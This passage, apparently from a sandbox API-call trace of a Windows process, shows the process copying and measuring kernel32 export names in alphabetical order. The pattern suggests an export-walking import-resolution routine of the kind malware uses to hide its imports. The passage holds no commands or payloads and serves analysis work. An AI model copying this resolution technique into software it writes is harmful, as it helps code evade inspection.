lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0056.629] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0056.629] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0056.629] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0056.629] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0056.629] lstrlenA (lpString="BEEP") returned 4 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0056.629] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0056.629] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0056.629] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0056.629] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0056.629] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0056.629] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0056.629] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0056.629] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0056.629] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0056.629] lstrcpyA (in: lpString1=0x33df298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0056.629] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0056.630] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0056.630] lstrlenA (lpString="CANCELIO") returned 8 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0056.630] lstrlenA (lpString="CANCELIOEX") returned 10 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0056.630] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0056.630] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0056.630] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0056.630] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0056.630] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0056.630] lstrlenA (lpString="CHECKELEVATION") returned 14 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0056.630] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0056.630] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0056.630] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0056.630] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0056.630] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0056.630] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0056.630] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0056.630] lstrcpyA (in: lpString1=0x33df298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0056.631] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0056.631] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0056.631] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0056.631] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0056.631] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0056.631] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0056.631] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0056.631] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0056.631] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0056.631] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0056.631] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0056.631] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0056.631] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0056.631] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0056.631] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0056.631] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0056.631] lstrcpyA (in: lpString1=0x33df298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0056.632] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0056.632] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0056.632] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0056.632] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0056.632] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0056.632] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0056.632] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0056.632] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0056.632] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0056.632] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0056.632] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0056.632] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0056.632] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0056.632] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0056.632] lstrlenA (lpString="COPYCONTEXT") returned 11 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0056.632] lstrlenA (lpString="COPYFILEA") returned 9 [0056.632] lstrcpyA (in: lpString1=0x33df298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0056.632] lstrlenA (lpString="COPYFILEEXA") returned 11 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0056.633] lstrlenA (lpString="COPYFILEEXW") returned 11 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0056.633] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0056.633] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0056.633] lstrlenA (lpString="COPYFILEW") returned 9 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0056.633] lstrlenA (lpString="COPYLZFILE") returned 10 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0056.633] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0056.633] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0056.633] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0056.633] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0056.633] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0056.633] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0056.633] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0056.633] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0056.633] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0056.633] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0056.633] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0056.633] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0056.634] lstrlenA (lpString="CREATEEVENTA") returned 12 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0056.634] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0056.634] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0056.634] lstrlenA (lpString="CREATEEVENTW") returned 12 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0056.634] lstrlenA (lpString="CREATEFIBER") returned 11 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0056.634] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0056.634] lstrlenA (lpString="CREATEFILEA") returned 11 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0056.634] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0056.634] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0056.634] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0056.634] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0056.634] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0056.634] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0056.634] lstrlenA (lpString="CREATEFILEW") returned 11 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0056.634] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0056.634] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0056.634] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0056.634] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0056.635] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0056.635] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0056.635] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0056.635] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0056.635] lstrlenA (lpString="CREATEJOBSET") returned 12 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0056.635] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0056.635] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0056.635] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0056.635] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0056.635] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0056.635] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0056.635] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0056.635] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0056.635] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0056.635] lstrlenA (lpString="CREATEPIPE") returned 10 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0056.635] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0056.635] lstrcpyA (in: lpString1=0x33df298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0056.635] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0056.636] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0056.636] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0056.636] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0056.636] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0056.636] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0056.636] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0056.636] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0056.636] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0056.636] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0056.636] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0056.636] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0056.636] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0056.636] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0056.636] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0056.636] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0056.636] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0056.636] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0056.637] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0056.637] lstrcpyA (in: lpString1=0x33df298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0056.637] lstrlenA 